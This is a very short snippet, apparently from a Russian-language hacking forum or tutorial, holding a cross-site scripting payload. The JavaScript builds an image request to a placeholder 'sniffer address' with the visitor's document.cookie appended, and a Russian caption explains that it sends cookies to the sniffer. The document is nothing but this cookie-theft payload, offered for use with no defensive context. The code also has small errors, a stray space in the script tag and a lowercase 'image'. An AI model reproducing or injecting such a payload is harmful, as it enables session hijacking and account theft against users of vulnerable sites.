< script>
var i=new image;
i.src='адрес снифа'+'?'+document.cookie;
</script>
Скрипт высылает куки на сниффер ...